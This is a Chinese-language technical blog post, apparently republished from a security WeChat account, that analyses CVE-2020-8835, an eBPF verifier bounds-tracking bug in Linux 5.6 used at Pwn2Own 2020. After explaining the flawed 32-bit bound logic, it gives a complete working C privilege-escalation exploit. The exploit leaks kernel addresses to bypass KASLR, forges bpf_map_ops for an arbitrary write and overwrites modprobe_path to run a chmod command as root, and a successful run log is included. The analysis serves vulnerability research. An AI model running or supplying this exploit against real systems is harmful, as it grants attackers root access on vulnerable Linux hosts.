【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

渗透技巧 2年前 (2022) admin
729 0 0

【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

pwn2own 2020 上Manfred Paul (@_manfp) 利用了ebpf 的一个漏洞完成了ubuntu的提权,4月16号的时候zdi公开了manfp 的writeup

这篇文章中,参考zdi上的writeup, 我会分析这个漏洞的成因,然后写一下这个洞的 exp, 纯属个人笔记,理解有误的地方欢迎指正。

【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
环境搭建



文章涉及到的文件都放在了这里, 我用的是linux-5.6 版本的内核,在 ubuntu1804 下编译测试。

【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
漏洞分析



这个漏洞是在commit 581738a681b6引入的, 它添加了一个函数

static void __reg_bound_offset32(struct bpf_reg_state *reg){    u64 mask = 0xffffFFFF;struct tnum range = tnum_range(reg->umin_value & mask,reg->umax_value & mask);struct tnum lo32 = tnum_cast(reg->var_off, 4);struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);    reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));}

漏洞发生在 verifier 阶段,这个阶段会模拟运行传进来的bpf指令,bpf_reg_state 用来保存寄存器的状态信息

ptype struct bpf_reg_statetype = struct bpf_reg_state {enum bpf_reg_type type;union {u16 range;struct bpf_map *map_ptr;u32 btf_id;unsigned long raw;};s32 off;u32 id;u32 ref_obj_id;struct tnum var_off;s64 smin_value;//有符号时可能的最小值s64 smax_value;//有符号时可能的最大值u64 umin_value;u64 umax_value;struct bpf_reg_state *parent;u32 frameno;s32 subreg_def;enum bpf_reg_liveness live;bool precise;}

smin_value 和 smax_value 保存当寄存器被当做是有符号数的时候可能的取值范围,同样umin_value 和umax_value 表示的是无符号的时候。 var_of 是struct tnum 类型

ptype struct tnumtype = struct tnum {u64 value;u64 mask;}

它只有两个成员

value: 某个bit为1 表示这个寄存器的这个bit 确定是1

mask: 某个bit 为1表示这个 bit 是未知的

举个栗子,假如value 是 010(二进制表示) , mask 是100 , 那么就是经过前面的指令的模拟执行之后,可以确定这个寄存器的 第二个bit 一定是 1, 第三个 bit 在mask 里面设置了,表示这里不确定,可以是1或者是0。详细的文档可以在Documentnetworking/filter.txt 里面找到。

对于跳转指令, 假如当前遇到了下面这样一条指令,

BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 8, 3)

会有下面这样两行代码来更新状态,false_reg 和true_reg 分别代表两个分支的状态, 这是我们前面__reg_bound_offset32 的64位版本

__reg_bound_offset(false_reg); __reg_bound_offset(true_reg);

这条指令 r5 >= 8 的时候 , 会跳到pc+3 的地方执行(正确分支), 那么在错误的分支上,r5 肯定是 小于 8 了,

__reg_bound_offset32 会在使用BPF_JMP32 的时候调用,ebpf 的BPF_JMP 寄存器之间是64bit比较的,换成BPF_JMP32 的时候就只会比较低32bit. 我们看看他是怎么做的

首先是把之前状态转移的umin_value 和umax_value 只取低32bit , 创建一个新的 tnum, lo32 是取原来 var_off 的 低32bit

struct tnum tnum_range(u64 min, u64 max){ u64 chi = min ^ max, delta;// 从右往左数,第一个为1的bit 是哪一位(从1开始数), 表示没有1// 如: fls64(0100) == 3 u8 bits = fls64(chi);
/* special case, needed because 1ULL << 64 is undefined */if (bits > 63) return tnum_unknown; /* e.g. if chi = 4, bits = 3, delta = (1<<3) - 1 = 7. |* if chi = 0, bits = 0, delta = (1<<0) - 1 = 0, so we return |* constant min (since min == max). |*/ delta = (1ULL << bits) - 1; return TNUM(min & ~delta, delta); }
//..... u64 mask = 0xffffFFFF;struct tnum range = tnum_range(reg->umin_value & mask,reg->umax_value & mask);struct tnum lo32 = tnum_cast(reg->var_off, 4);struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);

对于tnum_intersect 如果ab 有某一个bit 是1, 那么代表已经确定这个bit是1了, 所以这里用| 的方式, 两者信息整合起来最后生成一个新的var_off

struct tnum tnum_intersect(struct tnum a, struct tnum b) { u64 v, mu;
v = a.value | b.value; mu = a.mask & b.mask; return TNUM(v & ~mu, mu); } //...reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));

漏洞发生的原因是这里的实现方式有问题,计算range 的时候直接取低32bit,因为原本的umin_value 和 umax_value 都是64bit的, 假如计算之前umin_value == 1 , umax_value == 1 0000 0001 , 取低32bit之后他们都会等于1,这样range计算完之后TNUM(min & ~delta, delta); , min = 1 , delta = 0

然后到tnum_intersect 函数, 假设a.value = 0 ,计算后的v == 1 ,mu ==0 , 最后得到的 var_off 就是固定值1, 也就是说,不管寄存器真实的值是怎么样,在verifier 过程都会它当做是1。

【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
调试分析



我们调试看看内存具体是怎么样的, 首先我们创建一个array map, ebpf指令中, 让r9 = map[1]r6 是我们要用来测试漏洞的寄存器,从map[1] 中加载值到r6 中(具体参考后面的exp), 这样 verifier 就不知道 r6 是什么,这时候的var_off->value = 0

BPF_LDX_MEM(BPF_DW,6,9,0),

因为我的调试环境没有办法运行bpftool, 首先在kernel/bpf/syscall.c:125 map_create 的时候获取一下 map 的地址值

static struct bpf_map *find_and_alloc_map(union bpf_attr *attr){ //.... map = ops->map_alloc(attr); //<==== if (IS_ERR(map)) // 125 return map; //... return map; }

接下来是下面的指令, 在pc+1 的地方 umin_value 变成1

BPF_JMP_IMM(BPF_JGE,6,1,1), BPF_EXIT_INSN(),

然后是下面的指令, 这个时候 r8 = 0x100000001 , BPF_JLE 的 pc+1 分支上, umax_value = 0x100000001 `

BPF_MOV64_IMM(8,0x1), BPF_ALU64_IMM(BPF_LSH,8,32), BPF_ALU64_IMM(BPF_ADD,8,1), /*BPF_JLE tnum umax 0x100000001*/BPF_JMP_REG(BPF_JLE,6,8,1), BPF_EXIT_INSN(),

然后时候 jmp32 来触发漏洞了

BPF_JMP32_IMM(BPF_JNE,6,5,1),
BPF_EXIT_INSN(),

在·__reg_bound_offset32 下个断点,我这里是在kernel/bpf/verifier.c:1038false_reg 函数执行前后值如下

var_off = {value = 0x5,mask = 0x100000000},smin_value = 0x1,smax_value = 0x100000001,umin_value = 0x1,umax_value = 0x100000001,//--- 执行后var_off = {value = 0x5,mask = 0x100000000},smin_value = 0x1,smax_value = 0x100000001,umin_value = 0x1,umax_value = 0x100000001,

true_reg 在函数执行前后的值如下

var_off = {value = 0x0,mask = 0x1ffffffff},smin_value = 0x1,smax_value = 0x100000001,umin_value = 0x1,umax_value = 0x100000001,// --- 执行后var_off = {value = 0x1,mask = 0x100000000},smin_value = 0x1,smax_value = 0x100000001,umin_value = 0x1,umax_value = 0x100000001,

因为r6 是从 map[0] load 进来的,实际运行的时候可以是任何值,这里的判断错误了,后面我们就可以用它来绕过一些检查,我们来看看具体怎么样利用。

【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
漏洞利用



地址泄露

在前面的指令执行完之后, 执行下面指令,我们让一开始r6 = 2 , 这样 verifier 过程到了这里,r6 会被认为是 1,

( 1&2 )>>1 == 0, 但是实际运行的时候 (2 & 2) >> 1 ==1,

BPF_ALU64_IMM(BPF_AND, 6, 2),
BPF_ALU64_IMM(BPF_RSH, 6, 1),

接下来我们让r6 = r6 * 0x110 , 这样 verifier 过程仍然认为它是0,但是运行过程的实际值确实 0x110

BPF_ALU64_IMM(BPF_MUL,6,0x110),

我们获取一个map,我们叫它expmap 把, r7 = expmap[0]

BPF_MOV64_REG(7,0),

然后 r7 = r7 - r6, 因为 r7 是指针类型, verifier 会根据map的 size 来检查边界,但是verifier 的时候认为r6 ==0 ,r7 - 0 == r7, 所以可以通过检查, 但是运行的时候 我们可以让r7 = r7 - 0x110, 然后在 BPF_LDX_MEM(BPF_DW,8,7,0), 就可以做越界读写了。

BPF_ALU64_REG(BPF_SUB,7,6)

ebpf 用bpf_map 来保存map 的信息, 也是我们前面map_create 的时候得到的那个地址

gef➤ kstruct bpf_mapptype struct bpf_maptype = struct bpf_map {const struct bpf_map_ops *ops;struct bpf_map *inner_map_meta;void *security;enum bpf_map_type map_type;//.... u64 writecnt;}

在 map_lookup_elem 的时候, 使用的是 bpf_array ,它的开头是bpf_map, 然后value 就是map 的每一个项的数组,也就是说 bpf_map 刚好在r7 的低地址处(r7 是第一个 value), 这里查看内存可以知道 map 在 r7 - 0x110 的地方

ptype struct bpf_arraytype = struct bpf_array {struct bpf_map map; u32 elem_size; u32 index_mask;struct bpf_array_aux *aux;union {char value[];//<--- elemvoid *ptrs[];void *pptrs[]; };}

于是我们就可以读写 bpf_map 来做后续的利用

首先是地址泄露, bpf_map 有一个const struct bpf_map_ops *ops; 字段,当我们创建的map是BPF_MAP_TYPE_ARRAY 的时候保存的是array_map_opsarray_map_ops 是一个全局变量,保存在rdata段,通过它我们就可以计算kaslr的偏移,绕过kaslr, 同时运行的时候可以在下面wait_list 处泄露出map 的地址

gef➤  p/a *(struct bpf_array *)0xffff88800d878000              $5 = {  map = {          ops = 0xffffffff82016340 <array_map_ops>,//<-- 泄露内核地址inner_map_meta = 0x0 <fixed_percpu_data>,security = 0xffff88800e93f0f8,map_type = 0x2 <fixed_percpu_data+2>,key_size = 0x4 <fixed_percpu_data+4>,value_size = 0x2000 <irq_stack_backing_store>, max_entries = 0x1 <fixed_percpu_data+1>,//...    usercnt = {    //..wait_list = {next = 0xffff88800d8780c0,//<-- 泄露 map 地址prev = 0xffff88800d8780c0}},writecnt = 0x0 <fixed_percpu_data>},elem_size = 0x2000 <irq_stack_backing_store>,index_mask = 0x0 <fixed_percpu_data>,aux = 0x0 <fixed_percpu_data>,{value = 0xffff88800d878110,//<-- r7ptrs = 0xffff88800d878110,pptrs = 0xffff88800d878110}}
任意内存写
【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

我们可以用r7 写入 ops = 0xffffffff82016340 <array_map_ops>, 改成我们自己的fake_ops, 因为前面我们已经泄露出map 的地址了,那么完全可以用map_update_elem 伪造一个ops, 然后改一下指针就可以劫持控制流了,zdi上的writeup 用了一个更好的办法。

gef➤ p/a *(struct bpf_map_ops *)0xffffffff82016340$11 = { map_alloc_check = 0xffffffff8116ec70 <array_map_alloc_check>, map_alloc = 0xffffffff8116fa00 <array_map_alloc>, map_release = 0x0 <fixed_percpu_data>, map_free = 0xffffffff8116f2d0 <array_map_free>, map_get_next_key = 0xffffffff8116ed50 <array_map_get_next_key>, map_release_uref = 0x0 <fixed_percpu_data>, map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>, map_lookup_batch = 0xffffffff81159b30 <generic_map_lookup_batch>, map_lookup_and_delete_batch = 0x0 <fixed_percpu_data>, map_update_batch = 0xffffffff81159930 <generic_map_update_batch>, map_delete_batch = 0x0 <fixed_percpu_data>, map_lookup_elem = 0xffffffff8116edd0 <array_map_lookup_elem>, map_update_elem = 0xffffffff8116f1c0 <array_map_update_elem>, map_delete_elem = 0xffffffff8116ed80 <array_map_delete_elem>, map_push_elem = 0x0 <fixed_percpu_data>, map_pop_elem = 0x0 <fixed_percpu_data>, map_peek_elem = 0x0 <fixed_percpu_data>, map_fd_get_ptr = 0x0 <fixed_percpu_data>, map_fd_put_ptr = 0x0 <fixed_percpu_data>, map_gen_lookup = 0xffffffff8116f050 <array_map_gen_lookup>, map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>, map_seq_show_elem = 0xffffffff8116ee80 <array_map_seq_show_elem>, map_check_btf = 0xffffffff8116f870 <array_map_check_btf>, map_poke_track = 0x0 <fixed_percpu_data>, map_poke_untrack = 0x0 <fixed_percpu_data>, map_poke_run = 0x0 <fixed_percpu_data>, map_direct_value_addr = 0xffffffff8116ece0 <array_map_direct_value_addr>, map_direct_value_meta = 0xffffffff8116ed10 <array_map_direct_value_meta>, map_mmap = 0xffffffff8116ee50 <array_map_mmap>}

map_push_elem 会在 map_update_elem 的时候被调用, 它需要map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK, 但是没有关系, map 上的任何内容都可以用 r7 来改,把map_type 改成BPF_MAP_TYPE_STACK (0x17)之后,每次调用map_update_elem时, 就会调用map_push_elem

static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key, void *value, __u64 flags){ //... } else if (map->map_type == BPF_MAP_TYPE_QUEUE || ¦ map->map_type == BPF_MAP_TYPE_STACK) { err = map->ops->map_push_elem(map, value, flags); //..

在 fake_ops 上, 我们把map_push_elem 改成map_get_next_key 一样的地址, 这里实际的map_get_next_key是函数array_map_get_next_key

uint64_t fake_map_ops[]={
kaslr +0xffffffff8116ec70, kaslr +0xffffffff8116fa00, 0x0, kaslr +0xffffffff8116f2d0, kaslr +0xffffffff8116ed50,// 5: map_get_next_key 0x0, //... kaslr +0xffffffff8116ed80, kaslr +0xffffffff8116ed50,//15: map_push_elem 0x0, 0x0, //...

array_map_get_next_key 实现在kernel/bpf/arraymap.c#L279 上, 传递给map_push_elem 的参数是value(ring3 要update的数据)和 uattr 的 flags, 分别对应array_map_get_next_key 的 key 和 next_key 参数

static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key){ struct bpf_array *array = container_of(map, struct bpf_array, map); u32 index = key ? *(u32 *)key : U32_MAX; u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { //index *next = 0; return 0; }
if (index == array->map.max_entries - 1) return -ENOENT;
*next = index + 1; return 0; }

加入我们运行 map_update_elem(mapfd, &key, &value, flags), 运行到 array_map_get_next_key 之后有

index == value[0]next = flags , 最终效果是 *flags = value[0]

value[0] 和 flags 都是 ring3 下传入的值,前面我们已经泄露了内核地址,于是就可以通过修改 flags 的值写任意内存啦。写入的index要满足(index >= array->map.max_entries)map_entries 可以用r7 改成0xffff ffff

这里index 和 next 都是 u32 类型, 所以就是任意地址写 4个byte.

具体的操作是

  • 1 写 r7 改写 ops 到 fake_ops ( map_push_elem 改成array_map_get_next_key 地址)

  • 2 修改 map 的一些字段绕过一些检查

    • spin_lock_off = 0

    • max_entries = 0xffff ffff

    • map_type = BPF_MAP_TYPE_STACK

  • 3 调用 map_update_elem 写内存

改modprobe_path 用root任意命令

可以任意地址写这个能力还是挺大的了,zdi 的writeup 上是通过搜索 init_pid_ns, 找到当前的task_struct, 然后写 cred 来获取一个 root shell。

既然已经可以任意地址写了,这里我的做法是改写modprobe_path , 然后就可以用root 权限执行任意指令了,虽然不能起root shell, 但是也是可以达到提权目的了(主要是懒 ? )

/tmp 目录下生成 /tmp/chmod 和 /tmp/fake , /tmp/chmod 可以改 /flag 文件的权限

void gen_fake_elf(){ system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod"); system("chmod +x /tmp/chmod"); system("echo -ne 'xffxffxffxff' > /tmp/fake"); system("chmod +x /tmp/fake"); }

然后把modprobe_path 改成 /tmp/chmod, 然后运行 /tmp/fake 就完事啦

expbuf64[0] = 0x706d742f -1; bpf_update_elem(expmapfd,&key,expbuf,modprobe_path); expbuf64[0] = 0x6d68632f -1; bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4); expbuf64[0] = 0x646f -1; bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);

exp

完整exp 如下,这里需要有两个头文件,bpf_insn.h 在samples/bpf/bpf_insn.h 下, 主要是生成指令的一些宏定义。

因为我本机的ubuntu 内核还不支持BPF_JMP32 所以还需要拷贝一个bpf.h ,它在include/uapi/linux/bpf.h

整理一下 bpf_insns 都做了什么, 这里我创建了两个map( ctrlmap 和 expmap, 有点乱…)

第一次 writemsg() ( ctrlmap[0] = 2; ctrlmap[1] = 0

  • r9 指向 ctrlmap[0] , load 之后 r6 ==2

  • 然后前面描述的漏洞触发过程, 最后 BPF_ALU64_IMM(BPF_MUL,6,0x110), 得到 r6 == 0x100

  • r7 指向 expmap[0], 然后 sub r6, 获取 bpf_map_ops和 map 的地址,写入到 ctrlmap[0][0x10]ctrlmap[0][0x18] 的位置

  • exp 中 map_lookup_elem 获取 泄露的地址

第二次 writemsg() ( ctrlmap[0] = 2; ctrlmap[1] = 1)

  • 把 fake_map_ops 保存到 expmap[0] 上, 修改原来的 ops 指向fake_map_ops

  • 改 spin_lock_offmax_entries ,map_type

  • map_update_elem 改 modprobe_path

#define _GNU_SOURCE#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/socket.h> #include <errno.h> #include "linux/bpf.h"#include "bpf_insn.h"
int ctrlmapfd, expmapfd;int progfd;int sockets[2];#define LOG_BUF_SIZE 65535char bpf_log_buf[LOG_BUF_SIZE];
void gen_fake_elf(){ system("echo -ne '#!/bin/shn/bin/chmod 777 /flagn' > /tmp/chmod"); system("chmod +x /tmp/chmod"); system("echo -ne 'xffxffxffxff' > /tmp/fake"); system("chmod +x /tmp/fake");}void init(){ setbuf(stdin,0); setbuf(stdout,0); gen_fake_elf();}void x64dump(char *buf,uint32_t num){ uint64_t *buf64 = (uint64_t *)buf; printf("[-x64dump-] start : n"); for(int i=0;i<num;i++){ if(i%2==0 && i!=0){ printf("n"); } printf("0x%016lx ",*(buf64+i)); } printf("n[-x64dump-] end ... n"); } void loglx(char *tag,uint64_t num){ printf("[lx] "); printf(" %-20s ",tag); printf(": %-#16lxn",num); }
static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version); static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries); static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);static int bpf_lookup_elem(int fd,void *key, void *value);static void writemsg(void);static void __exit(char *err);
struct bpf_insn insns[]={
BPF_LD_MAP_FD(BPF_REG_1,3),
BPF_ALU64_IMM(BPF_MOV,6,0), BPF_STX_MEM(BPF_DW,10,6,-8), BPF_MOV64_REG(7,10), BPF_ALU64_IMM(BPF_ADD,7,-8), BPF_MOV64_REG(2,7), BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE,0,0,1), BPF_EXIT_INSN(),// r9 = ctrlmap[0] BPF_MOV64_REG(9,0),//2 BPF_LDX_MEM(BPF_DW,6,9,0),// offset

/*// BPF_JGE 看 tnum umin 1*/ BPF_ALU64_IMM(BPF_MOV,0,0),
BPF_JMP_IMM(BPF_JGE,6,1,1), BPF_EXIT_INSN(),
BPF_MOV64_IMM(8,0x1), BPF_ALU64_IMM(BPF_LSH,8,32), BPF_ALU64_IMM(BPF_ADD,8,1),/*BPF_JLE 看 tnum umax 0x100000001*/ BPF_JMP_REG(BPF_JLE,6,8,1), BPF_EXIT_INSN(),

/*// JMP32 看 offset*/ BPF_JMP32_IMM(BPF_JNE,6,5,1), BPF_EXIT_INSN(),
BPF_ALU64_IMM(BPF_AND, 6, 2), BPF_ALU64_IMM(BPF_RSH, 6, 1),
//r6 == offset//r9 = inmap/*BPF_ALU64_REG(BPF_MUL, 6, 7),*/
BPF_ALU64_IMM(BPF_MUL,6,0x110),
// outmap BPF_LD_MAP_FD(BPF_REG_1,4),
BPF_ALU64_IMM(BPF_MOV,8,0), BPF_STX_MEM(BPF_DW,10,8,-8),
BPF_MOV64_REG(7,10), BPF_ALU64_IMM(BPF_ADD,7,-8), BPF_MOV64_REG(2,7), BPF_RAW_INSN(BPF_JMP|BPF_CALL,0,0,0, BPF_FUNC_map_lookup_elem), BPF_JMP_IMM(BPF_JNE,0,0,1), BPF_EXIT_INSN(),
BPF_MOV64_REG(7,0),
BPF_ALU64_REG(BPF_SUB,7,6),
BPF_LDX_MEM(BPF_DW,8,7,0),/*// inmap[2] == map_addr*/ BPF_STX_MEM(BPF_DW,9,8,0x10), BPF_MOV64_REG(2,8),
BPF_LDX_MEM(BPF_DW,8,7,0xc0), BPF_STX_MEM(BPF_DW,9,8,0x18),
BPF_STX_MEM(BPF_DW,7,8,0x40), BPF_ALU64_IMM(BPF_ADD,8,0x50),


BPF_LDX_MEM(BPF_DW,2,9,0x8), BPF_JMP_IMM(BPF_JNE,2,1,4), BPF_STX_MEM(BPF_DW,7,8,0), //ops BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//map type BPF_ST_MEM(BPF_W,7,0x24,-1),// max_entries BPF_ST_MEM(BPF_W,7,0x2c,0x0), //lock_off



BPF_ALU64_IMM(BPF_MOV,0,0), BPF_EXIT_INSN(),};
void prep(){ ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);if(ctrlmapfd<0){ __exit(strerror(errno));} expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);if(expmapfd<0){ __exit(strerror(errno));}printf("ctrlmapfd: %d, expmapfd: %d n",ctrlmapfd,expmapfd);

progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insns, sizeof(insns), "GPL", 0); if(progfd < 0){ __exit(strerror(errno));}
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){ __exit(strerror(errno)); }if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){ __exit(strerror(errno)); }}
void pwn(){printf("pwning...n");uint32_t key = 0x0;char *ctrlbuf = malloc(0x100);char *expbuf = malloc(0x3000);
uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;uint64_t *expbuf64 = (uint64_t *)expbuf;
memset(ctrlbuf,'A',0x100);for(int i=0;i<0x2000/8;i++){ expbuf64[i] = i+1; }
ctrlbuf64[0]=0x2; ctrlbuf64[1]=0x0; bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0); bpf_update_elem(expmapfd,&key,expbuf,0); writemsg();// leakmemset(ctrlbuf,0,0x100); bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf); x64dump(ctrlbuf,8); bpf_lookup_elem(expmapfd,&key,expbuf); x64dump(expbuf,8);uint64_t map_leak = ctrlbuf64[2];uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;uint64_t kaslr = map_leak - 0xffffffff82016340;uint64_t modprobe_path = 0xffffffff82446d80 + kaslr; loglx("map_leak",map_leak); loglx("elem_leak",elem_leak); loglx("kaslr",kaslr); loglx("modprobe",modprobe_path);
uint64_t fake_map_ops[]={ kaslr +0xffffffff8116ec70, kaslr +0xffffffff8116fa00,0x0, kaslr +0xffffffff8116f2d0, kaslr +0xffffffff8116ed50,//get net key 50x0,0x0, kaslr +0xffffffff81159b30,0x0, kaslr +0xffffffff81159930,0x0, kaslr +0xffffffff8116edd0, kaslr +0xffffffff8116f1c0, kaslr +0xffffffff8116ed80, kaslr +0xffffffff8116ed50,//map_push_elem 150x0,0x0,0x0,0x0, kaslr +0xffffffff8116f050,0x0, kaslr +0xffffffff8116ee80, kaslr +0xffffffff8116f870,0x0,0x0,0x0, kaslr +0xffffffff8116ece0, kaslr +0xffffffff8116ed10, kaslr +0xffffffff8116ee50, };
// overwrite bpf_map_opsmemcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops)); bpf_update_elem(expmapfd,&key,expbuf,0);

//overwrite modeprobe path ctrlbuf64[0]=0x2; ctrlbuf64[1]=0x1; bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0); writemsg();
expbuf64[0] = 0x706d742f -1; bpf_update_elem(expmapfd,&key,expbuf,modprobe_path); expbuf64[0] = 0x6d68632f -1; bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4); expbuf64[0] = 0x646f -1; bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);}




int main(int argc,char **argv){ init(); prep(); pwn();return 0;}

static void __exit(char *err) { fprintf(stderr, "error: %sn", err); exit(-1); } static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); }

static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version){
union bpf_attr attr = { .prog_type = prog_type, .insns = (uint64_t)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (uint64_t)license, .log_buf = (uint64_t)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries){
union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
} static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){union bpf_attr attr = { .map_fd = fd, .key = (uint64_t)key, .value = (uint64_t)value, .flags = flags, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}static int bpf_lookup_elem(int fd,void *key, void *value){union bpf_attr attr = { .map_fd = fd, .key = (uint64_t)key, .value = (uint64_t)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); }

运行效果

运行的效果如下,因为我用的是 改modprobe_path 的方式,可以像/tmp/chmod 写入任意命令,然后运行/tmp/fake ,就可以root权限运行/tmp/chmod

/home/pwn # ~ $ ls~ $ cd // $ ls -al flag-rw-------    1 root     0               11 Apr 26  2019 flag/ $ cat flagcat: can't open 'flag': Permission denied/ $ /expctrlmapfd: 3,  expmapfd: 4pwning...[-x64dump-] start :0x0000000000000002 0x00000000000000000xffffffff82016340 0xffff88800d8740c00x4141414141414141 0x41414141414141410x4141414141414141 0x4141414141414141[-x64dump-] end ...[-x64dump-] start :0x0000000000000001 0x00000000000000020x0000000000000003 0x00000000000000040x0000000000000005 0x00000000000000060x0000000000000007 0x0000000000000008[-x64dump-] end ...[lx]  map_leak             : 0xffffffff82016340[lx]  elem_leak            : 0xffff88800d874110[lx]  kaslr                : 0[lx]  modprobe             : 0xffffffff82446d80/ $ ls /tmpchmod  fake/ $ cat /tmp/chmod#!/bin/sh/bin/chmod 777 /flag/ $ /tmp/fake /tmp/fake: line 1: : not found/ $ ls -al flag-rwxrwxrwx    1 root     0               11 Apr 26  2019 flag/ $ cat flag*CTF{test}
【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
小       结

总的来说,这个洞就是代码写错了:D , 本来是想着既然有 jmp32 看能不能优化一下什么的,然后写了个 bug. 这个洞也没有对应的补丁,linux做了版本回退直接删除了这个commit上新添加的代码。

【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

- 结尾 -
精彩推荐
【技术分享】2018护网杯-web部分题解
【技术分享】结合实例浅析壳编写的流程与难点
【技术分享】Python安全 - 从SSRF到命令执行惨案

【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析

版权声明:admin 发表于 2022年4月12日 上午10:21。
转载请注明:【技术分享】CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...